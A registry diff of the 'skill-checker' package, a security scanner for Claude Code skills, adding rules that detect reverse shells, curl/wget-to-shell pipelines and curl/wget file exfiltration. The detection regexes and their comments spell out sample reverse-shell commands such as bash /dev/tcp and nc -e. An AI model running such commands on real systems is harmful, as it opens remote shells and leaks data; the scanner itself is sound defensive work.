skill-checker 0.1.5 → 0.1.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -4,7 +4,7 @@ Security checker for Claude Code skills — detect injection, malicious code, an
4
4
 
5
5
  ## Features
6
6
 
7
- - **53 security rules** across 6 categories: structural validity, content quality, injection detection, code safety, supply chain, and resource abuse
7
+ - **55 security rules** across 6 categories: structural validity, content quality, injection detection, code safety, supply chain, and resource abuse
8
8
  - **Scoring system**: Grade A–F with 0–100 score
9
9
  - **Dual entry**: CLI tool + PreToolUse hook for automatic interception
10
10
  - **Configurable policies**: strict / balanced / permissive approval strategies
@@ -14,7 +14,7 @@ Security checker for Claude Code skills — detect injection, malicious code, an
14
14
 
15
15
  ## Security Standard & Benchmark
16
16
 
17
- Skill Checker's 53 rules are aligned with established security frameworks including OWASP Top 10 for LLM Applications (2025), MITRE CWE, and MITRE ATT&CK. The tool ships with a reproducible benchmark dataset of six fixture skills covering all rule categories. This alignment is an internal mapping exercise — Skill Checker does not claim third-party certification or external audit status.
17
+ Skill Checker's 55 rules are aligned with established security frameworks including OWASP Top 10 for LLM Applications (2025), MITRE CWE, and MITRE ATT&CK. The tool ships with a reproducible benchmark dataset of six fixture skills covering all rule categories. This alignment is an internal mapping exercise — Skill Checker does not claim third-party certification or external audit status.
18
18
 
19
19
  See [docs/SECURITY_BENCHMARK.md](docs/SECURITY_BENCHMARK.md) for the full rule mapping matrix, benchmark methodology, scoring model, and known limitations.
20
20
 
@@ -98,6 +98,28 @@ The hook is fail-closed — if the scanner is unavailable, JSON parsing fails, o
98
98
  - `jq` must be installed for JSON parsing
99
99
  - `skill-checker` must be globally installed or available via `npx`
100
100
 
101
+ ## Dependency Security Maintenance
102
+
103
+ Latest dependency audit follow-up (2026-03-07):
104
+
105
+ - Production dependency risk remains unaffected (`npm audit --omit=dev`: **0 vulnerabilities**).
106
+ - Current `npm audit` still reports **5 moderate** findings in dev tooling chain (`vitest` → `vite` → `esbuild`).
107
+ - Upgrade to `vitest@4.0.18` is **temporarily deferred** because it requires Node `^20 || ^22 || >=24`, while this project currently supports Node `>=18`.
108
+ - Scope of impact is limited to development/test tooling and does not affect runtime package dependencies.
109
+ - Auditable risk acceptance record: [docs/RISK_ACCEPTANCE_DEVDEPS.md](docs/RISK_ACCEPTANCE_DEVDEPS.md).
110
+
111
+ Verification commands used in this review cycle:
112
+
113
+ ```bash
114
+ npm run lint
115
+ npm test
116
+ npm run build
117
+ npm audit --omit=dev
118
+ npm audit
119
+ ```
120
+
121
+ Next review date: **2026-04-04**.
122
+
101
123
  ## Scoring
102
124
 
103
125
  Base score starts at **100**. Each finding deducts points by severity:
@@ -153,7 +175,7 @@ Config is resolved in order: CLI `--config` flag → project directory (walks up
153
175
  | Structural (STRUCT) | 8 | Missing SKILL.md, invalid frontmatter, binary files |
154
176
  | Content (CONT) | 7 | Placeholder text, lorem ipsum, promotional content |
155
177
  | Injection (INJ) | 9 | Zero-width chars, prompt override, tag injection, encoded payloads |
156
- | Code Safety (CODE) | 13 | eval/exec, shell execution, API key leakage, rm -rf, obfuscation |
178
+ | Code Safety (CODE) | 15 | eval/exec, shell execution, reverse shell, data exfiltration, API key leakage, rm -rf, obfuscation |
157
179
  | Supply Chain (SUPPLY) | 10 | Unknown MCP servers, suspicious domains, malicious hashes, typosquat |
158
180
  | Resource Abuse (RES) | 6 | Unrestricted tool access, disable safety checks, ignore project rules |
159
181
 
package/dist/cli.js CHANGED
@@ -1077,6 +1077,28 @@ var ENV_ACCESS_PATTERNS = [
1077
1077
  /\bgetenv\s*\(/,
1078
1078
  /\$\{?\w*(?:KEY|TOKEN|SECRET|PASSWORD|CREDENTIAL|API_KEY)\w*\}?/i
1079
1079
  ];
1080
+ var REVERSE_SHELL_PATTERNS = [
1081
+ /\/dev\/tcp\/[\w.-]+\/\d+/,
1082
+ // bash -i >& /dev/tcp/host/port 0>&1
1083
+ /\bnc(?:at)?\b[^\n]*\s-(?:e|c)\s+/,
1084
+ // nc -e /bin/sh host port
1085
+ /\bncat\b[^\n]*\s--exec\b/,
1086
+ // ncat --exec /bin/sh host port
1087
+ /\bsocket\.socket\s*\([^)]*\)[\s\S]*\.(?:connect|connect_ex)\s*\([^)]*\)[\s\S]*os\.dup2\s*\([^)]*\)[\s\S]*(?:subprocess\.(?:call|run|Popen)|os\.system)\s*\(/,
1088
+ /\bphp\b[^\n]*\bfsockopen\s*\([^)]*\)[\s\S]*\b(?:exec|shell_exec|system|passthru)\s*\(/,
1089
+ /\bperl\b[^\n]*\bSocket\b[\s\S]*\bconnect\s*\([^)]*\)[\s\S]*\bexec\s*\(/
1090
+ ];
1091
+ var REMOTE_PIPELINE_EXEC_PATTERNS = [
1092
+ /\bcurl\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:sh|bash|zsh|ksh|ash)\b/i,
1093
+ /\bwget\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:sh|bash|zsh|ksh|ash)\b/i,
1094
+ /\bcurl\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:python|python3|node)\b/i,
1095
+ /\bwget\b[^\n|]*https?:\/\/[^\s|]+[^\n]*\|\s*(?:python|python3|node)\b/i
1096
+ ];
1097
+ var DATA_EXFIL_PATTERNS = [
1098
+ /\bcurl\b[^\n]*(?:-d|--data|--data-binary|--data-raw)\s+@(?:[^\s'"`]+|["'`][^"'`]+["'`])/i,
1099
+ /\bcurl\b[^\n]*(?:-F|--form)\s+[^\s=]+=@(?:[^\s'"`]+|["'`][^"'`]+["'`])/i,
1100
+ /\bwget\b[^\n]*--post-file(?:=|\s+)(?:[^\s'"`]+|["'`][^"'`]+["'`])/i
1101
+ ];
1080
1102
  var DYNAMIC_CODE_PATTERNS = [
1081
1103
  /\bcompile\s*\(/,
1082
1104
  /\bcodegen\b/i,
@@ -1207,6 +1229,27 @@ var codeSafetyChecks = {
1207
1229
  source,
1208
1230
  codeBlockCtx: cbCtx
1209
1231
  });
1232
+ checkPatterns(results, line, REVERSE_SHELL_PATTERNS, {
1233
+ id: "CODE-014",
1234
+ severity: "CRITICAL",
1235
+ title: "Reverse shell pattern",
1236
+ loc,
1237
+ lineNum,
1238
+ source
1239
+ });
1240
+ const code015 = detectCode015(line);
1241
+ if (code015) {
1242
+ results.push({
1243
+ id: "CODE-015",
1244
+ category: "CODE",
1245
+ severity: code015.severity,
1246
+ title: code015.title,
1247
+ message: `At ${loc}: ${line.trim().slice(0, 120)}`,
1248
+ line: lineNum,
1249
+ snippet: line.trim().slice(0, 120),
1250
+ source
1251
+ });
1252
+ }
1210
1253
  const credentialLeak = detectCredentialLeak(line);
1211
1254
  if (credentialLeak) {
1212
1255
  results.push({
@@ -1275,6 +1318,21 @@ function checkPatterns(results, line, patterns, opts) {
1275
1318
  }
1276
1319
  }
1277
1320
  }
1321
+ function detectCode015(line) {
1322
+ if (REMOTE_PIPELINE_EXEC_PATTERNS.some((pattern) => pattern.test(line))) {
1323
+ return {
1324
+ severity: "CRITICAL",
1325
+ title: "Remote pipeline execution pattern"
1326
+ };
1327
+ }
1328
+ if (DATA_EXFIL_PATTERNS.some((pattern) => pattern.test(line))) {
1329
+ return {
1330
+ severity: "HIGH",
1331
+ title: "Data exfiltration pattern"
1332
+ };
1333
+ }
1334
+ return null;
1335
+ }
1278
1336
  function detectCredentialLeak(line) {
1279
1337
  for (const provider of PROVIDER_CREDENTIAL_PATTERNS) {
1280
1338
  if (provider.pattern.test(line)) {